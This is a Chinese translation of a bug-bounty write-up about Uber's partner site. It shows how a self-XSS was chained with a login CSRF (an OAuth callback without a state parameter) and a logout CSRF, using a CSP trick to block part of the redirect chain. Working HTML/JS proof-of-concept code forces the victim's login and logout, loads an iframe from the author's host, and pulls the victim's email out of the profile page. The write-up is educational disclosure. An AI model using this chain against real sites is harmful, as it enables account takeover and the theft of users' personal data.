作者通過精心設計,將一個雞肋的的self-XSS和兩個雞肋的csrf變成了一個高質量的漏洞。
原文:
https://fin1te.net/articles/uber-turning-self-xss-into-good-xss/
在Uber一個設置個人信息的頁面上,我找到一個非常簡單且經典的XSS漏洞。設置項中隨便修改一個字段為<script>alert(document.domain);</script>
就可以執行并彈框。
一共花了兩分鐘找到這個漏洞,但是我們要來點更有意思的。
可以在網頁中運行外界可控的任意JS腳本就被稱為XSS漏洞,這時候你一般可以去讀取其他用戶的Cookies,或者發出一些請求。但是如果你只能對自己做這些,而不是其他用戶,比如這段代碼只會在你能看到的頁面里面運行,這就被稱為self-XSS。這種情況下,即使我們發現了漏洞,也很難去影響其他人。
我猶豫了一會,但是我后來決定試試,看能不能去掉這個"self"。
Ubser的OAuth登錄流程也是很經典的
partners.uber.com
login.uber.com
partners.uber.com
,同時URL中攜帶code
,可以用來換取Access Token從上面的截圖你可以看到,OAuth的回調地址/oauth/callback?code=...
并沒有使用標準推薦的state
參數,這意味著登錄功能存在CSRF的問題,但是不好說會不會造成嚴重的問題。
同時,在退出登錄的地方也有一個CSRF漏洞,當然這一般不會認為是漏洞。訪問/logout
會清除用戶partner.uber.com
的session,然后再重定向到login.uber.com
的退出登錄頁面,清除login.uber.com
的session。
因為我們的payload只存在于自己的賬號中,我們可以讓其他用戶登錄進我們的賬號,然后payload就會執行,不過登錄我們的賬號會清除他們之前所有的session,這就讓漏洞大打折扣了。所以我們要把漏洞放在一起利用。
我們的計劃就是這樣的了
partner.uber.com
,但是不要登出login.uber.com
,這樣后面可以讓用戶重新回到原有賬號首先發送一個請求到https://partners.uber.com/logout/
,然后就可以登錄我們的賬號了。但是問題在于退出登錄的重定向最終會到達https://login.uber.com/logout/
,導致另外一個域名也退出登錄。我們能不能控制呢?
我的方法就是使用Content Security Police來設置可以加載的域名。我只設置了允許請求partners.uber.com
,login.uber.com
就會被瀏覽器攔截。
#!html
<!-- 設置CSP策略阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- 退出登錄 partners.uber.com -->
<img src="https://partners.uber.com/logout/">
這樣是可以的,CSP會有下面的提示
這一步相對來說簡單了一些,我們向https://partners.uber.com/login/
發送一個請求(這一步是必須的,否則我們沒法接收到回調)。上面我們用了CSP的trick來阻止部分流程,這里我們就需要用我自己的code
來讓用戶登錄了。
因為CSP會觸發onerror
,我們就可以在那里面跳轉到下一步了。
#!html
<!-- CSP策略會阻止訪問 login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- 退出登錄 partners.uber.com,在跳轉到login.iber.com的時候觸發onerror -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
//初始化登錄
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
//用我們的code登錄
var redir = function() {
// 為了方便測試,code放在url hash中,實際需要動態的獲取
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
這一部分的代碼將會有XSS的payload,在我的賬號中。
只要payload一運行,就可以切換回原來的賬號了。這個必須在iframe中,因為需要保持payload一直運行。
#!js
// 創建一個iframe,讓用戶退出登錄我的賬號
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe里面還是用CSP的trick
#!js
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
//使用用戶login.uber.com的session重新登錄
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
最后一部分是創建另外一個iframe,這樣可以獲取一些數據了
#!js
//等待幾秒,加載個人信息頁面,這是用戶原始的信息
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
//提取email信息
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value="([^"]+)" name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
因為我們最終的這個iframe是在個人信息頁面加載的,是同源的,而且X-Frame-Options
也是設置的sameorigin
而不是deny
,所以我們使用contentWindow
是可以訪問到里面的內容的。
code
這個漏洞很有意思,啟發我們要在一個更高的層面去挖掘和思考安全漏洞。